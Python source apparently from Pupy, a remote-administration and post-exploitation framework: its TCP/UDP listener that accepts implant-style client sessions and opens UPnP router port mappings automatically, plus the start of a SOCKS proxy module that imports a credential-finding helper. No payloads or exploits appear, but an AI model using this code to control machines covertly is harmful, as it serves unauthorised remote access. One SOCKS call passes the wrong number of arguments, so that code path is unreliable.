from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('PupyTCPServer', 'PupyUDPServer')

import sys
import logging

import socket

if sys.version_info.major > 2:
    from queue import Queue, Empty
else:
    from Queue import Queue, Empty

from threading import Thread
from netaddr import IPAddress, AddrFormatError

from .streams.PupySocketStream import PupyChannel
from pupy.network.lib.connection import PupyConnection, PupyConnectionThread
from pupy.network.lib.rpc.utils.server import ThreadedServer, AuthenticationError

from pupy.network.lib.igd import UPNPError


class PupyTCPServer(ThreadedServer):
    def __init__(self, *args, **kwargs):

        if "stream" not in kwargs:
            raise ValueError("missing stream_class argument")

        if "transport" not in kwargs:
            raise ValueError("missing transport argument")

        self.stream_class = kwargs["stream"]
        self.transport_class = kwargs["transport"]
        self.transport_kwargs = kwargs["transport_kwargs"]
        self.pupy_srv = kwargs["pupy_srv"]

        self.igd_mapping = False
        self.igd = None

        if 'igd' in kwargs:
            self.igd = kwargs['igd']
            self.external = kwargs.get('external', 'igd')
            del kwargs['igd']
        else:
            self.external = kwargs.get('external', kwargs.get('hostname'))

        if 'external' in kwargs:
            del kwargs['external']

        self.external_port = kwargs.get('external_port', kwargs.get('port'))
        if 'external_port' in kwargs:
            del kwargs['external_port']

        if self.pupy_srv:
            try:
                ping = self.pupy_srv.config.get('pupyd', 'ping')
                self.ping = ping and ping not in (
                    '0', '-1', 'N', 'n', 'false', 'False', 'no', 'No'
                )
            except:
                self.ping = False
        else:
            self.ping = False

        if self.ping:
            try:
                self.ping_interval = int(ping)
            except:
                self.ping_interval = 2

            if self.pupy_srv:
                self.ping_timeout = self.pupy_srv.config.get(
                    'pupyd', 'ping_interval')
            else:
                self.ping_timeout = self.ping_interval * 10
        else:
            self.ping_interval = None
            self.ping_timeout = None

        del kwargs["stream"]
        del kwargs["transport"]
        del kwargs["transport_kwargs"]
        del kwargs["pupy_srv"]

        try:
            ip = IPAddress(kwargs.get('hostname', ''))
            if ip.version == 4 and kwargs.get('ipv6', False):
                kwargs['hostname'] = '::FFFF:' + kwargs['hostname']

        except AddrFormatError:
            pass

        ThreadedServer.__init__(self, *args, **kwargs)

        if self.igd and self.igd.available and self.external != self.host:
            try:
                self.igd.AddPortMapping(
                    self.external_port,
                    'TCP',
                    self.port,
                    intIP=self.host if self.host and self.host not in (
                        '', 'igd'
                    ) else None,
                    desc='pupy'
                )
                self.igd_mapping = True
            except UPNPError as e:
                self.logger.warn(
                    "Couldn't create IGD mapping [TCP {} -> {}, IP={}]: {}".format(
                        self.external_port, self.port, self.igd.intIP, e.description))


    def _setup_connection(self, sock, queue):
        '''Authenticate a client and if it succeeds, wraps the socket in a connection object.
        Note that this code is cut and paste from the rpyc internals and may have to be
        changed if rpyc evolves'''
        tup = sock.getpeername()
        h, p = tup[0], tup[1] # tup can have different sizes depending on ipv4/ipv6

        credentials = None
        if self.authenticator:
            try:
                wrapper, credentials = self.authenticator(sock)
            except AuthenticationError:
                self.logger.info('%s:%s failed to authenticate, rejecting connection', h, p)
                queue.put_nowait((None, None, None))
                return
        else:
            wrapper = sock

        # build a connection
        config = dict(self.protocol_config, credentials=credentials, connid='{}:{}'.format(h, p))
        stream = self.stream_class(wrapper, self.transport_class, self.transport_kwargs)
        connection = None

        try:
            self.logger.debug('%s:%s Authenticated. Starting connection', h, p)

            connection = PupyConnection(
                self.pupy_srv,
                self.service,
                PupyChannel(stream),
                ping=stream.KEEP_ALIVE_REQUIRED or self.ping_interval,
                timeout=self.ping_timeout,
                config=config
            )

            self.logger.debug('%s:%s Connection complete', h, p)
        finally:
            self.logger.debug('%s:%s Report connection: %s', h, p, connection)
            queue.put_nowait((connection, wrapper, credentials))

    def _authenticate_and_serve_client(self, sock):
        queue = Queue(maxsize=1)

        tup = sock.getpeername()
        h, p = tup[0], tup[1]

        authentication = Thread(
            target=self._setup_connection,
            args=(sock, queue),
            name='Authentication Thread ({}:{})'.format(h, p))
        authentication.daemon = True
        authentication.start()

        connection = None
        wrapper = None

        try:
            self.logger.debug('%s:%s Wait for authentication result', h, p)
            connection, wrapper, credentials = queue.get(block=True, timeout=60)
            self.logger.debug('%s:%s Wait complete: %s', h, p, connection)
            if connection and connection._local_root:
                self.logger.debug('%s:%s Initializing service...', h, p)
                connection.init()
                connection.loop()

        except Empty:
            self.logger.debug('%s:%s Timeout', h, p)

        except (EOFError, TypeError):
            pass

        finally:
            self.logger.debug('%s:%s Shutting down', h, p)

            try:
                sock.shutdown(socket.SHUT_RDWR)
            except Exception:
                pass

            if wrapper:
                wrapper.close()

            self.clients.discard(sock)

    def close(self):
        try:
            ThreadedServer.close(self)
        except:
            pass

        if self.igd_mapping:
            try:
                self.igd.DeletePortMapping(self.external_port, 'TCP')
            except Exception as e:
                self.logger.info('IGD Exception: %s/%s', type(e), e)


class PupyUDPServer(object):
    REQUIRED_KWARGS = [
        'stream', 'transport', 'transport_kwargs',
        'pupy_srv', 'port'
    ]

    def __init__(self, service, **kwargs):
        self.kcp = __import__('kcp')
        self.pupy_srv = None
        self.port = None
        self.logger = None
        self.stream = None
        self.transport = None
        self.transport_kwargs = None

        for param in self.REQUIRED_KWARGS:
            if param not in kwargs:
                raise ValueError('missing {} argument'.format(param))

            setattr(self, param, kwargs[param])
            del kwargs[param]

        if self.pupy_srv:
            ping = self.pupy_srv.config.get('pupyd', 'ping')
            self.ping = ping and ping not in (
                '0', '-1', 'N', 'n', 'false', 'False', 'no', 'No'
            )
        else:
            self.ping = False

        if self.ping:
            try:
                self.ping_interval = int(ping)
            except:
                self.ping_interval = 2

            if self.pupy_srv:
                self.ping_timeout = self.pupy_srv.config.get('pupyd', 'ping_interval')
            else:
                self.ping_timeout = self.ping_interval * 10
        else:
            self.ping_interval = None
            self.ping_timeout = None

        self.ipv6 = kwargs.get('ipv6', False)

        self.authenticator = kwargs.get('authenticator', None)
        self.protocol_config = kwargs.get('protocol_config', {})
        self.service = service

        self.active = False
        self.clients = {}
        self.sock = None
        self.host = kwargs.get('host') or kwargs.get('hostname')

        self.igd_mapping = False
        self.igd = None

        if 'igd' in kwargs:
            self.igd = kwargs['igd']
            del kwargs['igd']
            self.external = kwargs.get('external', 'igd')
        else:
            self.external = self.host

        if 'external' in kwargs:
            del kwargs['external']

        self.external_port = kwargs.get('external_port', self.port)
        if 'external_port' in kwargs:
            del kwargs['external_port']

        if self.igd and self.igd.available and self.external != self.host:
            try:
                self.igd.AddPortMapping(
                    self.external_port,
                    'UDP',
                    self.port,
                    intIP=self.host if self.host and self.host not in (
                        '', 'igd'
                    ) else None,
                    desc='pupy'
                )
                self.igd_mapping = True
            except UPNPError as e:
                self.logger.warn(
                    "Couldn't create IGD mapping: %s", e.description)

        self.LONG_SLEEP_INTERRUPT_TIMEOUT = 5
        self.listen()

    @property
    def stream_class(self):
        return self.stream

    @property
    def transport_class(self):
        return self.transport

    def listen(self):
        s = None
        if not self.host:
            self.host = None

        family = socket.AF_INET6 if self.ipv6 else socket.AF_INET

        last_exc = None

        for res in socket.getaddrinfo(
                self.host, self.port, family,
                socket.SOCK_DGRAM, 0, socket.AI_PASSIVE):

            af, socktype, proto, canonname, sa = res

            try:
                s = socket.socket(af, socktype, 0)
                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            except socket.error as msg:
                s = None
                last_exc = msg
                continue

            try:
                s.bind(sa)

            except socket.error as msg:
                s.close()
                s = None
                last_exc = msg
                continue

            break

        self.sock = s
        if self.sock is None:
            if last_exc is None:
                raise RuntimeError('Socket creation failed for unknown reason')
            else:
                raise last_exc

        self.sock.setblocking(0)
        self.dispatcher = self.kcp.KCPDispatcher(
            self.sock.fileno(), 0,
            timeout=self.LONG_SLEEP_INTERRUPT_TIMEOUT * 1000
        )

    def on_close(self, addr):
        self.clients[addr].wake()
        del self.clients[addr]
        self.dispatcher.delete(addr)

    def new(self, addr, ckcp):
        logging.info("new client connected: " + addr)

        host, port = addr.rsplit(':', 1)
        port = int(port)

        config = dict(
            self.protocol_config,
            credentials=None,
            connid=addr
        )

        client = self.stream(
            (
                self.sock, (
                    host, port
                ),
                ckcp,
            ),
            self.transport,
            self.transport_kwargs,
            client_side=False,
            close_cb=self.on_close,
            lsi=self.LONG_SLEEP_INTERRUPT_TIMEOUT
        )

        logging.debug('Request pings: %s',
            client.KEEP_ALIVE_REQUIRED or self.ping_interval)

        connthread = PupyConnectionThread(
            self.pupy_srv,
            self.service,
            PupyChannel(client),
            ping=client.KEEP_ALIVE_REQUIRED or self.ping_interval,
            timeout=self.ping_timeout,
            config=config
        )
        connthread.start()
        return connthread.connection

    def start(self):
        self.active=True
        try:
            while self.active:
                try:
                    new, updated, failed = self.dispatcher.dispatch()
                    for f, kcp in new:
                        self.clients[f] = self.new(f, kcp)

                    for f in updated:
                        try:
                            x = self.clients[f].consume()
                        except EOFError as e:
                            if __debug__:
                                logging.exception('EOF (consume): %s', e)

                            x = None

                        if not x:
                            failed.add(f)

                    for f in failed:
                        self.clients[f].close()

                    for f in list(self.dispatcher):
                        if f not in updated:
                            self.clients[f].wake()

                except Exception as e:
                    logging.exception(e)
                    raise

            for f in list(self.clients):
                self.clients[f].close()

        except EOFError as e:
            logging.error('EOF: %s', e)
            pass # server closed by another thread

        except KeyboardInterrupt:
            logging.error('Keyboard interrupt')

        except Exception as e:
            logging.exception('Unknown exception %s: %s', type(e), e)

        finally:
            logging.info("server has terminated")
            self.close()

    def close(self):
        self.active = False

        for f in list(self.clients):
            self.clients[f].close()

        if self.sock:
            self.sock.close()

        if self.igd_mapping:
            try:
                self.igd.DeletePortMapping(self.external_port, 'UDP')
            except Exception as e:
                logging.info('IGD Exception: %s/%s', type(e), e)


================================================
FILE: pupy/network/lib/socks.py
================================================
"""
SocksiPy - Python SOCKS module.
Version 1.5.7

Copyright 2006 Dan-Haim. All rights reserved.

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.
3. Neither the name of Dan Haim nor the names of his contributors may be used
   to endorse or promote products derived from this software without specific
   prior written permission.

THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.


This module provides a standard socket-like interface for Python
for tunneling connections through SOCKS proxies.

===============================================================================

Minor modifications made by Christopher Gilbert (http://motomastyle.com/)
for use in PyLoris (http://pyloris.sourceforge.net/)

Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/)
mainly to merge bug fixes found in Sourceforge

Modifications made by Anorov (https://github.com/Anorov)
-Forked and renamed to PySocks
-Fixed issue with HTTP proxy failure checking (same bug that was in the old ___recvall() method)
-Included SocksiPyHandler (sockshandler.py), to be used as a urllib2 handler,
 courtesy of e000 (https://github.com/e000): https://gist.github.com/869791#file_socksipyhandler.py
-Re-styled code to make it readable
    -Aliased PROXY_TYPE_SOCKS5 -> SOCKS5 etc.
    -Improved exception handling and output
    -Removed irritating use of sequence indexes, replaced with tuple unpacked variables
    -Fixed up Python 3 bytestring handling - chr(0x03).encode() -> b"\x03"
    -Other general fixes
-Added clarification that the HTTP proxy connection method only supports CONNECT-style tunneling HTTP proxies
-Various small bug fixes
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'PROXY_TYPES',
    'set_default_proxy',
    'get_default_proxy',
    'create_connection',
)

__version__ = "1.5.7"

import struct
from errno import EOPNOTSUPP, EINVAL, EAGAIN
from io import BytesIO
from os import SEEK_CUR

import os
import sys

from collections.abc import Callable
from base64 import b64encode

try:
    from http_parser.parser import HttpParser
except ImportError:
    from http_parser.pyparser import HttpParser

try:
    from urllib_auth import (
        AuthenticationError, Authentication
    )
except ImportError:
    Authentication = None

from .netcreds import find_first_cred

from . import getLogger

if os.name == 'nt':
    try:
        from pupy.network.lib.ntop import ensure_ntop
        ensure_ntop()

        import socket

    except ImportError:
        raise ImportError('To run PySocks under windows you need to install win_inet_pton')
else:
    import socket

if sys.version_info.major > 2:
    basestring = str


logger = getLogger('tinyhttp')

PROXY_TYPE_SOCKS4 = SOCKS4 = 1
PROXY_TYPE_SOCKS5 = SOCKS5 = 2
PROXY_TYPE_HTTP = HTTP = 3

PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP}
PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys()))

_orgsocket = _orig_socket = socket.socket

class ProxyError(IOError):
    """
    socket_err contains original socket.error exception.
    """

    __slots__ = ('msg', 'socket_err')

    def __init__(self, msg, socket_err=None):
        self.msg = msg
        self.socket_err = socket_err

        if socket_err:
            self.msg += ": {0}".format(socket_err)

    def __str__(self):
        return self.msg


class GeneralProxyError(ProxyError):
    pass


class ProxyConnectionError(ProxyError):
    pass


class SOCKS5AuthError(ProxyError):
    pass


class SOCKS5Error(ProxyError):
    pass


class SOCKS4Error(ProxyError):
    pass


class HTTPError(ProxyError):
    pass


class AuthenticationRequired(ProxyError):
    __slots__ = ('methods',)

    def __init__(self, methods):
        super(AuthenticationRequired, self).__init__(
            'Authentication required, supported methods: {}'.format(
                ';'.join(methods)))
        self.methods = methods


class AuthenticationImpossible(EOFError):
    pass


SOCKS4_ERRORS = {
    0x5B: "Request rejected or failed",
    0x5C: "Request rejected because SOCKS server cannot connect to identd on the client",
    0x5D: "Request rejected because the client program and identd report different user-ids"
}

SOCKS5_ERRORS = {
    0x01: "General SOCKS server failure",
    0x02: "Connection not allowed by ruleset",
    0x03: "Network unreachable",
    0x04: "Host unreachable",
    0x05: "Connection refused",
    0x06: "TTL expired",
    0x07: "Command not supported, or protocol error",
    0x08: "Address type not supported"
}

DEFAULT_PORTS = {
    SOCKS4: 1080,
    SOCKS5: 1080,
    HTTP: 8080
}

def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None):
    """
    set_default_proxy(proxy_type, addr[, port[, rdns[, username, password]]])

    Sets a default proxy which all further socksocket objects will use,
    unless explicitly changed. All parameters are as for socket.set_proxy().
    """
    socksocket.default_proxy = (proxy_type, addr, port, rdns,
                                username.encode() if username else None,
                                password.encode() if password else None)

setdefaultproxy = set_default_proxy

def get_default_proxy():
    """
    Returns the default proxy, set by set_default_proxy.
    """
    return socksocket.default_proxy

getdefaultproxy = get_default_proxy

def wrap_module(module):
    """
    Attempts to replace a module's socket library with a SOCKS socket. Must set
    a default proxy using set_default_proxy(...) first.
    This will only work on modules that import socket directly into the namespace;
    most of the Python Standard Library falls into this category.
    """
    if socksocket.default_proxy:
        module.socket.socket = socksocket
    else:
        raise GeneralProxyError("No default proxy specified")

wrapmodule = wrap_module

def create_connection(dest_pair, proxy_type=None, proxy_addr=None,
                      proxy_port=None, proxy_rdns=True,
                      proxy_username=None, proxy_password=None,
                      timeout=None, source_address=None,
                      socket_options=None):
    """create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object

    Like socket.create_connection(), but connects to proxy
    before returning the socket object.

    dest_pair - 2-tuple of (IP/hostname, port).
    **proxy_args - Same args passed to socksocket.set_proxy() if present.
    timeout - Optional socket timeout value, in seconds.
    source_address - tuple (host, port) for the socket to bind to as its source
    address before connecting (only for compatibility)
    """
    # Remove IPv6 brackets on the remote address and proxy address.
    remote_host, remote_port = dest_pair
    if remote_host.startswith('['):
        remote_host = remote_host.strip('[]')
    if proxy_addr and proxy_addr.startswith('['):
        proxy_addr = proxy_addr.strip('[]')

    err = None

    # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses.
    for r in socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM):
        family, socket_type, proto, canonname, sa = r
        sock = None
        try:
            sock = socksocket(family, socket_type, proto)

            if socket_options:
                for opt in socket_options:
                    sock.setsockopt(*opt)

            if isinstance(timeout, (int, float)):
                sock.settimeout(timeout)

            if proxy_type:
                sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns,
                               proxy_username, proxy_password, None)
            if source_address:
                sock.bind(source_address)

            sock.connect((remote_host, remote_port))
            return sock

        except (socket.error, ProxyConnectionError) as e:
            err = e
            if sock:
                sock.close()
                sock = None

    if err:
        raise err

    raise socket.error("gai returned empty list.")

class _BaseSocket(socket.socket):
    """Allows Python 2's "delegated" methods such as send() to be overridden
    """

    def __init__(self, *args, **kwargs):
        _orig_socket.__init__(self, *args, **kwargs)

        self._orig_args = args
        self._orig_kwargs = kwargs
        self._savedmethods = dict()
        for name in self._savenames:
            self._savedmethods[name] = getattr(self, name)
            delattr(self, name)  # Allows normal overriding mechanism to work

    _savenames = list()

def _makemethod(name):
    return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw)
for name in ("sendto", "send", "recvfrom", "recv"):
    method = getattr(_BaseSocket, name, None)

    # Determine if the method is not defined the usual way
    # as a function in the class.
    # Python 2 uses __slots__, so there are descriptors for each method,
    # but they are not functions.
    if not isinstance(method, Callable):
        _BaseSocket._savenames.append(name)
        setattr(_BaseSocket, name, _makemethod(name))

class socksocket(_BaseSocket):
    """socksocket([family[, type[, proto]]]) -> socket object

    Open a SOCKS enabled socket. The parameters are the same as
    those of the standard socket init. In order for SOCKS to work,
    you must specify family=AF_INET and proto=0.
    The "type" argument must be either SOCK_STREAM or SOCK_DGRAM.
    """

    default_proxy = None

    __slots__ = (
        'proxy',
        'proxy_sockname', 'proxy_peername',
        '_socks5_bind_addr', '_proxyconn', '_last_addr'
    )

    def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs):
        if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM):
            msg = "Socket type must be stream or datagram, not {!r}"
            raise ValueError(msg.format(type))

        _BaseSocket.__init__(self, family, type, proto, *args, **kwargs)
        self._socks5_bind_addr = None
        self._proxyconn = None  # TCP connection to keep UDP relay alive
        self._last_addr = None

        if self.default_proxy:
            self.proxy = [self.default_proxy]
        else:
            self.proxy = []
        self.proxy_sockname = None
        self.proxy_peername = None

    def _readall(self, file, count):
        """
        Receive EXACTLY the number of bytes requested from the file object.
        Blocks until the required number of bytes have been received.
        """
        data = b""
        while len(data) < count:
            d = file.read(count - len(data))
            if not d:
                raise GeneralProxyError("Connection closed unexpectedly")
            data += d
        return data

    def add_proxy(
        self, proxy_type=None, addr=None, port=None,
            rdns=True, username=None, password=None, auth_type=None):
        """set_proxy(proxy_type, addr[, port[, rdns[, username[, password]]]])
        Sets the proxy to be used.

        proxy_type -    The type of the proxy to be used. Three types
                        are supported: PROXY_TYPE_SOCKS4 (including socks4a),
                        PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP
        addr -        The address of the server (IP or DNS).
        port -        The port of the server. Defaults to 1080 for SOCKS
                       servers and 8080 for HTTP proxy servers.
        rdns -        Should DNS queries be performed on the remote side
                       (rather than the local side). The default is True.
                       Note: This has no effect with SOCKS4 servers.
        username -    Username to authenticate with to the server.
                       The default is no authentication.
        password -    Password to authenticate with to the server.
                       Only relevant when username is also provided.
        auth_type -   Engine to perform authentication (None = BASIC, 'NTLM' = NTLM)
        """

        if isinstance(proxy_type, basestring):
            proxy_type = PROXY_TYPES.get(proxy_type)
            if not proxy_type:
                raise ValueError('Unknown proxy type {}'.format(proxy_type))

        self.proxy.append([
            proxy_type, addr, port, rdns,
            username.encode() if username else None,
            password.encode() if password else None,
            auth_type])

    def set_proxy(self, *args, **kwargs):
        self.reset_proxies()
        self.add_proxy(*args, **kwargs)

    def reset_proxies(self):
        self.proxy = []

    setproxy = set_proxy

    def listen(self, cnt=0):
        if not self.proxy:
            return _orig_socket.listen(self, cnt)

        if self.proxy[-1][0] != SOCKS5:
            raise socket.error(EINVAL, 'Only SOCKS5 proxies supported')

        if not self._socks5_bind_addr:
            raise socket.error(EINVAL, 'Socket was not bound')

        return

    def accept(self):
        if not self.proxy:
            return _orig_socket.accept(self)

        if self.proxy[-1][0] != SOCKS5:
            raise socket.error(EINVAL, 'Only SOCKS5 proxies supported')

        if not self._socks5_bind_addr:
            raise socket.error(EINVAL, 'Socket was not bound')

        return self._accept()

    def bind(self, *pos, **kw):
        """
        Implements proxy connection for UDP sockets,
        which happens during the bind() phase.
        """

        if not self.proxy:
            return _orig_socket.bind(self, *pos, **kw)

        if self.proxy[-1][0] != SOCKS5:
            raise socket.error(EINVAL, 'Only SOCKS5 proxies supported')

        if self.type != socket.SOCK_DGRAM:
            bind_addr = pos[0]
            if type(bind_addr) is not tuple or len(bind_addr) != 2:
                raise socket.error(EINVAL, 'Bind address should be tuple')

            self._socks5_bind_addr = bind_addr
            self.close()
            return True

        if self._proxyconn:
            raise socket.error(EINVAL, "Socket already bound to an address")

        last_proxy = self.proxy[-1]
        last_proxy_type = last_proxy[0]

        if last_proxy_type != SOCKS5:
            msg = "UDP only supported by SOCKS5 proxy type"
            raise socket.error(EOPNOTSUPP, msg)

        _BaseSocket.bind(self, *pos, **kw)

        # Need to specify actual local port because
        # some relays drop packets if a port of zero is specified.
        # Avoid specifying host address in case of NAT though.
        _, port = self.getsockname()
        dst = ("0", port)

        while True:
            try:
                self._proxyconn = _orig_socket()
                self._connect_first(self._proxyconn)
                self._connect_rest(self._proxyconn)
                break

            except AuthenticationRequired:
                _orig_socket.__init__(
                    self, *self._orig_args, **self._orig_kwargs)

        proxy = self.proxy[-1]

        properties = proxy[3:]

        UDP_ASSOCIATE = b"\x03"
        _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst, properties)

        # The relay is most likely on the same host as the SOCKS proxy,
        # but some proxies return a private IP address (10.x.y.z)
        _, port = relay

        if len(self.proxy) == 1:
            proxy_host, proxy_port = self._proxy_addr(proxy)
            _BaseSocket.connect(self, (proxy_host, port))
        else:
            self._connect_first()
            self._connect_rest()

        self.proxy_sockname = ("0.0.0.0", 0)  # Unknown

    def sendto(self, bytes, *args, **kwargs):
        if self.type != socket.SOCK_DGRAM:
            return _BaseSocket.sendto(self, bytes, *args, **kwargs)
        if not self._proxyconn:
            self.bind(("", 0))

        address = args[-1]
        flags = args[:-1]

        header = BytesIO()
        RSV = b"\x00\x00"
        header.write(RSV)
        STANDALONE = b"\x00"
        header.write(STANDALONE)
        self._write_SOCKS5_address(address, header, self.proxy[-1][3:])

        sent = _BaseSocket.send(self, header.getvalue() + bytes, *flags, **kwargs)
        return sent - header.tell()

    def send(self, bytes, flags=0, **kwargs):
        if self.type == socket.SOCK_DGRAM:
            return self.sendto(bytes, flags, self.proxy_peername, **kwargs)
        else:
            return _BaseSocket.send(self, bytes, flags, **kwargs)

    def recvfrom(self, bufsize, flags=0):
        if self.type != socket.SOCK_DGRAM:
            return _BaseSocket.recvfrom(self, bufsize, flags)
        if not self._proxyconn:
            self.bind(("", 0))

        buf = BytesIO(_BaseSocket.recv(self, bufsize, flags))
        buf.seek(+2, SEEK_CUR)
        frag = buf.read(1)
        if ord(frag):
            raise NotImplementedError("Received UDP packet fragment")
        fromhost, fromport = self._read_SOCKS5_address(buf)

        if self.proxy_peername:
            peerhost, peerport = self.proxy_peername
            if fromhost != peerhost or peerport not in (0, fromport):
                raise socket.error(EAGAIN, "Packet filtered")

        return (buf.read(), (fromhost, fromport))

    def recv(self, *pos, **kw):
        bytes, _ = self.recvfrom(*pos, **kw)
        return bytes

    def recv_http_response(self, conn):
        response = HttpParser(kind=1)
        status_code = None
        headers = None

        try:
            while True:
                chunk = conn.recv(1024)

                response.execute(chunk, len(chunk))
                if response.is_headers_complete():
                    headers = response.get_headers()
                    status_code = response.get_status_code()

                    content_length = headers.get('content-length')
                    if not content_length or int(content_length) == 0:
                        break

                if response.is_message_complete():
                    break

                if not chunk:
                    raise EOFError('Incomplete Message')

        except Exception as e:
            raise GeneralProxyError(
                'HTTP Proxy communication error ({})'.format(e))

        return status_code, headers

    def close(self):
        if self._proxyconn:
            self._proxyconn.close()
        return _BaseSocket.close(self)

    def get_proxy_sockname(self):
        """
        Returns the bound IP address and port number at the proxy.
        """
        return self.proxy_sockname

    getproxysockname = get_proxy_sockname

    def get_proxy_peername(self):
        """
        Returns the IP and port number of the proxy.
        """
        return _BaseSocket.getpeername(self)

    getproxypeername = get_proxy_peername

    def get_peername(self):
        """
        Returns the IP address and port number of the destination
        machine (note: get_proxy_peername returns the proxy)
        """
        return self.proxy_peername

    getpeername = get_peername

    def _negotiate_SOCKS5(self, conn, dest_addr, properties):
        """
        Negotiates a stream connection through a SOCKS5 server.
        """
        CONNECT = b"\x01"
        self.proxy_peername, self.proxy_sockname = self._SOCKS5_request(
            conn, CONNECT, dest_addr, properties)

    def _SOCKS5_request(self, conn, cmd, dst, properties):
        """
        Send SOCKS5 request with given command (CMD field) and
        address (DST field). Returns resolved DST address that was used.
        """
        rdns, username, password, _ = properties

        writer = conn.makefile("wb")
        reader = conn.makefile("rb", 0)  # buffering=0 renamed in Python 3
        try:
            # First we'll send the authentication packages we support.
            if username and password:
                # The username/password details were supplied to the
                # set_proxy method so we support the USERNAME/PASSWORD
                # authentication (in addition to the standard none).
                writer.write(b"\x05\x02\x00\x02")
            else:
                # No username/password were entered, therefore we
                # only support connections with no authentication.
                writer.write(b"\x05\x01\x00")

            # We'll receive the server's response to determine which
            # method was selected
            writer.flush()
            chosen_auth = self._readall(reader, 2)

            if chosen_auth[0:1] != b"\x05":
                # Note: string[i:i+1] is used because indexing of a bytestring
                # via bytestring[i] yields an integer in Python 3
                raise GeneralProxyError("SOCKS5 proxy server sent invalid data")

            # Check the chosen authentication method

            if chosen_auth[1:2] == b"\x02":
                # Okay, we need to perform a basic username/password
                # authentication.
                writer.write(
                    b"\x01" + chr(len(username)).encode() + \
                    username + chr(len(password)).encode() + password)
                writer.flush()
                auth_status = self._readall(reader, 2)
                if auth_status[0:1] != b"\x01":
                    # Bad response
                    raise GeneralProxyError("SOCKS5 proxy server sent invalid data")
                if auth_status[1:2] != b"\x00":
                    # Authentication failed
                    raise SOCKS5AuthError("SOCKS5 authentication failed")

                # Otherwise, authentication succeeded

            # No authentication is required if 0x00
            elif chosen_auth[1:2] != b"\x00":
                # Reaching here is always bad
                if chosen_auth[1:2] == b"\xFF":
                    raise SOCKS5AuthError("All offered SOCKS5 authentication methods were rejected")
                else:
                    raise GeneralProxyError("SOCKS5 proxy server sent invalid data")

            # Now we can request the actual connection
            writer.write(b"\x05" + cmd + b"\x00")
            resolved = self._write_SOCKS5_address(conn, dst, writer, properties)
            writer.flush()

            # Get the response
            resp = self._readall(reader, 3)
            if resp[0:1] != b"\x05":
                raise GeneralProxyError("SOCKS5 proxy server sent invalid data")

            status = ord(resp[1:2])
            if status != 0x00:
                # Connection failed: server returned an error
                error = SOCKS5_ERRORS.get(status, "Unknown error")
                raise SOCKS5Error("{0:#04x}: {1}".format(status, error))

            # Get the bound address/port
            bnd = self._read_SOCKS5_address(reader)
            return (resolved, bnd)
        finally:
            reader.close()
            writer.close()

    def _write_SOCKS5_address(self, conn, addr, file, properties):
        """
        Return the host and port packed for the SOCKS5 protocol,
        and the resolved address as a tuple object.
        """
        host, port = addr
        rdns, username, password, _ = properties
        family_to_byte = {socket.AF_INET: b"\x01", socket.AF_INET6: b"\x04"}

        # If the given destination address is an IP address, we'll
        # use the IP address request even if remote resolving was specified.
        # Detect whether the address is IPv4/6 directly.
        for family in (socket.AF_INET, socket.AF_INET6):
            try:
                addr_bytes = socket.inet_pton(family, host)
                file.write(family_to_byte[family] + addr_bytes)
                host = socket.inet_ntop(family, addr_bytes)
                file.write(struct.pack(">H", port))
                return host, port
            except socket.error:
                continue

        # Well it's not an IP number, so it's probably a DNS name.
        if rdns:
            # Resolve remotely
            try:
                host_bytes = host.encode('idna')
            except:
                host_bytes = host

            file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes)
        else:
            # Resolve locally
            addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, socket.IPPROTO_TCP, socket.AI_ADDRCONFIG)
            # We can't really work out what IP is reachable, so just pick the
            # first.
            target_addr = addresses[0]
            family = target_addr[0]
            host = target_addr[4][0]

            addr_bytes = socket.inet_pton(family, host)
            file.write(family_to_byte[family] + addr_bytes)
            host = socket.inet_ntop(family, addr_bytes)
        file.write(struct.pack(">H", port))
        return host, port

    def _read_SOCKS5_address(self, file):
        atyp = self._readall(file, 1)
        if atyp == b"\x01":
            addr = socket.inet_ntoa(self._readall(file, 4))
        elif atyp == b"\x03":
            length = self._readall(file, 1)
            addr = self._readall(file, ord(length))
        elif atyp == b"\x04":
            addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16))
        else:
            raise GeneralProxyError("SOCKS5 proxy server sent invalid data")

        port = struct.unpack(">H", self._readall(file, 2))[0]
        return addr, port

    def _negotiate_SOCKS4(self, conn, dest, properties):
        """
        Negotiates a connection through a SOCKS4 server.
